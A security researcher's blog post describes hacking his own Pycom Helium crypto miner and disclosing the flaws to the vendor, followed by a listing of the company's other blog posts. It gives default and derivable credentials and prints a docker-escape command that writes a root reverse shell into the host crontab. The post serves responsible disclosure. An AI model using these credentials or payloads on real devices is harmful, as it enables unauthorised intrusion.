applied security research
Wesley Neelen - 05 sep 2022

Hacking my Helium Crypto Miner

Recently I came across an interesting cryptocurrency project called Helium. Its a wireless network built by people all around the world. The people that help expanding the network by adding a hotspot receive the Helium cryptocurrency coin by providing the coverage.

During my research I decided to order one of those Helium miners. I ordered a device released by Pycom, because I had some good experience with their devices while playing with IoT / LoRa.

Lets open the box

After a few months I received the device. I noticed that there’s an SD-card inside the device. I couldn’t resist opening the box and creating a copy using DD:

Lets crack the password

After mounting the DD image file in Linux, I was able to view all the files on the operating system. The device was offering SSH by default, however I didn’t have a user nor a password. So the first step was to look into the /etc/passwd file to view the users including the password hashes:

ubuntu:$y$j9T$QKDlnYSkMAukWbVQkUwZc1$b5r81S0G.WD0BfuPrJtEvjtyLbnRth8rHOf/c6q7.q4:1000:1000:Ubuntu:/home/ubuntu:/bin/bash

By feeding the hash to John the Ripper it instantly became clear that the password of the ubuntu user was ubuntu.

This allowed me to login through SSH:

It’s in a jail

Pycom did put all parts of the miner into separate dockers (Dashboard, Miner, UPNP, Packet forwarder). The following docker compose file was found:

version: '2'

services:

  packet-forwarder:
    image: "docker.io/pycomio/hm-pktfwd:latest"
    privileged: true
    network_mode: "host"
    volumes:
      - pktfwdr:/var/pktfwd
    restart: on-failure

  helium-miner:
    image: "docker.io/pycomio/hm-miner:latest"
    expose:
      - "1680"
      - "4467"
      - "44158"
    privileged: true
    network_mode: "host"
    volumes:
      - miner-storage:/var/data
      - miner-log:/var/log/miner
      - pktfwdr:/var/pktfwd
      - /run/dbus/:/run/dbus/
      - /home/ubuntu/overlay/docker.config:/config/sys.config
    cap_add:
      - SYS_RAWIO
    restart: on-failure
    environment:
      - DBUS_SYSTEM_BUS_ADDRESS=unix:path=/run/dbus/system_bus_socket

  upnp:
    image: pycomio/hm-upnp
    network_mode: host
    restart: on-failure

  helium-dashboard:
    image: "docker.io/pycomio/hm-dashboard"
    depends_on:
      - helium-miner
      - packet-forwarder
    expose:
      - "80"
    ports:
      - "80:3020/tcp"
    privileged: true
    volumes:
      - miner-storage:/var/data
      - miner-log:/var/log/miner
      - pktfwdr:/var/pktfwd
      - /run/dbus/:/run/dbus/
      - /var/run/docker.sock:/var/run/docker.sock
      - /var/data/public_keys:/var/data/public_keys
    cap_add:
      - SYS_RAWIO
    devices:
      - /dev/i2c-10:/dev/i2c-1
    restart: on-failure
    environment:
      - DBUS_SYSTEM_BUS_ADDRESS=unix:path=/run/dbus/system_bus_socket


volumes:
  miner-storage:
  miner-log:
  pktfwdr:

Lets enter the web interface

One weird thing is that Pycom advertised the miner with a management dashboard, which allowed you to control your miner through a web interface. However, I wasn’t able find this password anywhere. Not in the box. Not on the internet. So, a useful challenge was gaining access to the web interface password to be able to use it. After opening the Dashboard docker, it became clear that the password is the ‘animal name’ of the Helium miner:

Interesting fact is that the animal names (in other words, the hotspot name) of all the miners are accessible on the Helium explorer, so guessing the password isn’t that hard (e.g. the hotspot Breezy Vinyl Donkey would have the password breezy-vinyl-donkey).

Great, we now have access to the web interface.

How does it update?

Usually an interesting part is taking a look at the update mechanism of such an device. I found a crontab file in the /root directory:

*/5 * * * * /bin/bash -c "$(curl -fsSL https://software.pycom.io/downloads/update-hotspot.sh)"

The script contained the following code:

#!/bin/sh
if [ ! -f /etc/provisioning.txt ]; then
    exit 0
fi
upSeconds="$(cat /proc/uptime | grep -o '^[0-9]\+')"

if [ "${upSeconds}" -lt "1800" ]
then
    exit 0
fi
REMOTE_VERSION="0.0.6"
if [ ! -f "/etc/hotspot-version.txt" ]; then
  LOCAL_VERSION="0.0.1"
else
  LOCAL_VERSION=$(cat /etc/hotspot-version.txt)
fi
echo "Local version: $LOCAL_VERSION"
echo "Remote version: $REMOTE_VERSION"
if [ ! $REMOTE_VERSION = $LOCAL_VERSION ]; then
  curl "https://software.pycom.io/downloads/miner-${REMOTE_VERSION}.tar.gz" | tar -xvzf - -C /
  while true; do
    su - ubuntu -c "docker-compose pull && docker-compose up -d --remove-orphans"
    success=$?
    if [ "$success" -eq 0 ]; then
      break
    else
      sleep 30
    fi
  done
  sleep 1
  crontab /root/crontab
  echo "UPDATED $REMOTE_VERSION" >> /etc/pycom.txt
  echo $REMOTE_VERSION > /etc/hotspot-version.txt
fi
exit 0

The current version of the software was 0.0.6 so the URL to download this particular update file is: https://software.pycom.io/downloads/miner-0.0.6.tar.gz

After downloading the file, it became clear that the tar.gz file simply contains Linux files which will be overwritten on the operating system.

This pretty useful, we are now able to see every change in every update.

Lets hack your miner

Gaining full access to the device and web interface was much easier then expected. But are there also vulnerabilities present in the device – for example in the web interface?

The web interface allows you to control the dockers – which feels like there might be command execution possibilities. After intercepting requests with Burp, I found a remote command execution vulnerability and the correct payload to download a payload remotely:

Note that there is no authentication implemented in this API. Everyone with network access to Helium Miners web interface is able to execute the issue. I created a video with the exploit in action:

Another interesting fact is that we obtained root access to the hm-dashboard docker container. Within this container we are able to run the docker command to control all other dockers on the same miner. In the video above we are running the command ls -l / hm-miner docker container while we are in the hm-dashboard container. Pretty cool!

Are we also able to use the access to the docker command to escalate to the host operating system? After a while I managed to create a payload which achieves this:

docker run --rm --mount type=bind,source="/",target=/host alpine sh -c 'echo "* * * * *   root   bash -c \"bash -i >& /dev/tcp/127.0.0.1/8000 0>&1\"" | tee -a /host/etc/crontab'

The payload creates and runs a new docker containers, mounts / on the host to the /host directory in the docker. A command is run within the docker to add a reverse shell to the hosts crontab as root.

Contacting the vendor

The last part was to contact the vendor with all my findings. The first reply from their dev team kind of surprised me:

Our miner is indeed designed to be open. None of his findings are a surprise.

Sure, its very cool the device to be open. But in the current situation the RCE introduces risks to their customers, if they connect the miners web interface directly to the internet. It means compromise of their miner, but also their network. I confirmed that it was possible to reach my internal network from within the hm-dashboard docker container.

I tried to explain this by more communication with Pycom:

22 august 2022Initial contact with all findings
23 august 2022Received a reply from Pycom: “Our miner is indeed designed to be open. None of his findings are a surprise.”
23 august 2022Replied to emphasize the potential impact of an unauthenticated remote command execution vulnerability
23 august 2022Received a reply from Pycom: “We have sent your suggestions to the dev team and they are looking into it.”
23 august 2022Replied to ask Pycom if they could update me if there is any progress
26 august 2022Replied to ask if Pycom has a response from it’s developers. Announcing that I will publish the blog on the 5th of September. If they need more time for a patch, that’s not an issue.
31 august 2022Received a reply from Pycom: they are closing the ticket because colleagues already replied to me.
2 sept 2022It looks like Pycom released a patch fixing some of my mentioned issues. I haven’t extensively validated their patch so its unclear whether the issues have been fixed correctly. At least I saw the following updates: password change on first logon is enforced, authorization is added to the API and input is sanitized while injecting commands.

Advice

My advice to users would be to not directly connect the miner on the internet on ports such as SSH and HTTP.

Happy mining!

Blogs

Verbeteringen in API's en toekomstige wijzigingen bij Attic

- 24 mei 2023
Microsoft heeft recentelijk enkele verbeteringen doorgevoerd in de API’s die toegang verlenen tot uw tenant. GDAP Op dit moment maakt Attic gebruik van DAP, oftewel Delegated Admin Privileges, om toegang te verkrijgen tot uw omgeving. Microsoft heeft onlangs een verbeterde versie van deze functionaliteit geïntroduceerd, genaamd GDAP, oftewel granular delegated admin privileges. Deze nieuwe versie […] Lees verder

Attic voegt website clone monitor toe

Wesley Neelen - 08 mei 2023
Attic is een krachtig platform wat heel veel mogelijkheden biedt. Attic is modulair opgebouwd zodat het platform aangevuld kan worden met extra diensten, ontwikkeld door Zolder, maar in de toekomst ook door externe leveranciers. Enkele maanden geleden heb ik een gratis applicatie gelanceerd genaamd didsomeoneclone.me. Deze service is gebaseerd op Microsoft Azure en volledig cloud […] Lees verder

Attic als SOC

Zolder B.V. - 11 apr 2023
Bijna is het zover: roadmap-technisch naderen we het punt dat we de koppeling van Attic met Microsoft Sentinel gaan afronden. En daarmee de gelegenheid om op grote schaal organisaties te voorzien van een betaalbare SOC dienst. Tijdens onze deelname aan de RSA conferentie zullen we bezoekers van onze stand en website aanbieden zich alvast te […] Lees verder

Internetoplichters richten pijlen op Hockeyvereniging

Erik Remmelzwaal - 10 mrt 2023
De penningmeester van Hockeyclub Zevenbergen ontving een poging tot oplichting. Gelukkig werd het herkend, maar zal dat overal gebeuren, nu internetoplichters hun pijlen blijkbaar op sportverenigingen hebben gericht? Lees verder

Microsoft Digital Defense Report

Erik Remmelzwaal - 14 nov 2022
Het Digital Defense Report 2022 van Microsoft is uitgekomen. Wat zijn de highlights en key takeaways? Lees verder

TBX2022 Throwback & Masterclass

Erik Remmelzwaal - 07 nov 2022
Op 2 en 3 november vond in de Jaarbeurs Utrecht de TBX2022 beurs plaats. Zolder was net als vorig jaar aanwezig als exposant, en was op beide dagen de host van een masterclass. Ons voornaamste doel was om ons nieuwe propositie van Attic for MSPs bekend te maken. Met deze nieuwe release, stellen we andere […] Lees verder

Hacking my Helium Crypto Miner

Wesley Neelen - 05 sep 2022
Recently I came across an interesting cryptocurrency project called Helium. Its a wireless network built by people all around the world. The people that help expanding the network by adding a hotspot receive the Helium cryptocurrency coin by providing the coverage. During my research I decided to order one of those Helium miners. I ordered […] Lees verder

PEN-300 / OSEP review

Wesley Neelen - 19 jul 2022
This year I decided to start a new study, the PEN-300 course of Offensive Security. In 2012 I did the OSCP course and in 2013 OSCE. In 2016 I took the OSEE class in Vegas, unfortunately never took the exam (one of my biggest mistakes ever🥴). I liked all the courses very much at that […] Lees verder

Deze 3 misverstanden blokkeren het ontwikkelen van cyberweerbaarheid

Zolder B.V. - 04 jul 2022
Het NCTV heeft weer het jaarlijkse Cybersecuritybeeld Nederland gepubliceerd. Het CSBN-2022. Mooie aanleiding om eens op te schrijven waar ik al langer mee in mijn hoofd zit. Drie hardnekkige en foute aannames die mensen hebben bij digitale dreigingen. Drie misverstanden dus, die in mijn ervaring de belangrijkste reden zijn dat we nauwelijks vooruit komen met […] Lees verder

Cyberweerbaarheid en Operational Technology

Erik Remmelzwaal - 02 jun 2022
Onlangs nam Erik Remmelzwaal, co-owner en Managing Director van Zolder BV, deel aan een tafelgesprek van Data Value Center – Smart Industry (DVC-SI). Het thema was Cyberweerbaarheid en Operational Technology, en het gesprek werd opgenomen in de campus van Breda Robotics, waar Zolder lid van is. De opname is inmiddels beschikbaar en terug te kijken […] Lees verder

Detecting MFASweep using Azure Sentinel

Zolder B.V. - 01 nov 2021
Many companies are using cloud services such as Microsoft 365 for email, file sharing and communicating. If an attacker gains access to valid credentials that allows them to authenticate to the account, all information within the account is usually instantly accessible. Therefor, implementing multi factor authentication is one of the most important steps while securing […] Lees verder

Public SharePoint sites - the new open shares

Wesley Neelen - 16 sep 2021
During one of our engagements we were investigating a Microsoft 365 environment. My colleague Rik discovered that many SharePoint sites were publicly available within the organization. We were surprised by the amount sites that were wide open this way. A lot of sensitive information was located on those sites, for example PII-information and passwords for […] Lees verder

Decrypt passwords from Xerox Workcentre config backups

Rik van Duijn - 29 aug 2021
During a recent engagement we encountered Xerox WorkCentre printers using default credentials (admin:1111). Usually it’s just another finding, but this time we noticed the printer had SMB and e-mail credentials configured. For LDAP we usually point the printer to our own IP and get access to the plaintext creds that way. But in the case […] Lees verder

Office 365 audit logging

Rik van Duijn - 19 aug 2021
It’s important to enable audit logging for o365 even if you are not monitoring them actively. Atleast if you get hacked there’s logging to investigate :). The audit log is not always enabled by default, it seems to rely on license levels. However there are some important things to take into consideration. You can enable […] Lees verder

Ransomware, nationale crisis?

Erik Remmelzwaal - 04 aug 2021
Als er 1 digitale dreiging is die veel in het nieuws komt, dan is het ransomware. Er wordt zelfs gesproken van een nationale crisis. Lees verder

Mijlpalen en hoe het gaat

Zolder B.V. - 02 jul 2021
Vandaag gebeurden er op Zolder toch een paar dingen die blogwaardig zijn. Dus prima aanleiding om nog maar eens de laptop open te klappen en te vertellen hoe het gaat. Nieuwe collega’s Het is 1 juli 2021 en we zijn ruim een jaartje onderweg als Zolder. De belangrijkste stap die we vandaag zetten, is dat […] Lees verder

Zolder wordt hoofdsponsor HCZ

Zolder B.V. - 01 jul 2021
Vandaag is bekend geworden dat Zolder de nieuwe hoofdsponsor is van HCZ – Hockeyclub Zevenbergen. De komende drie seizoenen zal het logo van Zolder daarom voorop de shirts van alle HCZ leden prijken. We zijn heel erg trots op deze nieuwe stap voor ons jonge bedrijf, en hopen zo de relatie met onze regio te […] Lees verder

Breda Robotics

Erik Remmelzwaal - 10 mei 2021
Zolder BV is toegetreden tot het netwerk van Breda Robotics. Deze vereniging brengt organisaties bij elkaar die actief zijn rondom robotisering in de regio West-Brabant. Voor Zolder geeft Breda Robotics de mogelijkheid om samen te werken met de robotiseringsindustrie. Te begrijpen hoe die sector precies werk en op welke vlakken cybersecurity kennis kan worden ingezet […] Lees verder

27% .nl domeinen slecht beschermd tegen spoofing

Erik Remmelzwaal - 29 apr 2021
TLDR: We scanden de DNS records van 1,6 miljoen .nl domeinen en vonden uit: 9% is rechtstreeks gekoppeld aan Microsoft 365, daarmee is Microsoft veruit de grootste Google is nr2 en heeft 4% van de domeinen aan zich verbonden, nagenoeg gelijk aan een aantal andere spelers. Van alle mail-enabled domeinen heeft 27% geen SPF record […] Lees verder

Zolder biedt MKB betaalbare en eenvoudige security-app

Zolder B.V. - 12 apr 2021
“Attic voorkomt dat security een luchtbel wordt” Security is bij mkb-bedrijven vaak het ondergeschoven kindje. Ze hebben er de mensen en het budget niet voor. Dat maakt deze doelgroep een aantrekkelijk doelwit voor cybercriminelen. Voor de vier doorgewinterde cybersecurity-experts van start-up Zolder reden om Attic te introduceren. Deze eenvoudige, goedkope en toekomstbestendige app maakt mkb’ers […] Lees verder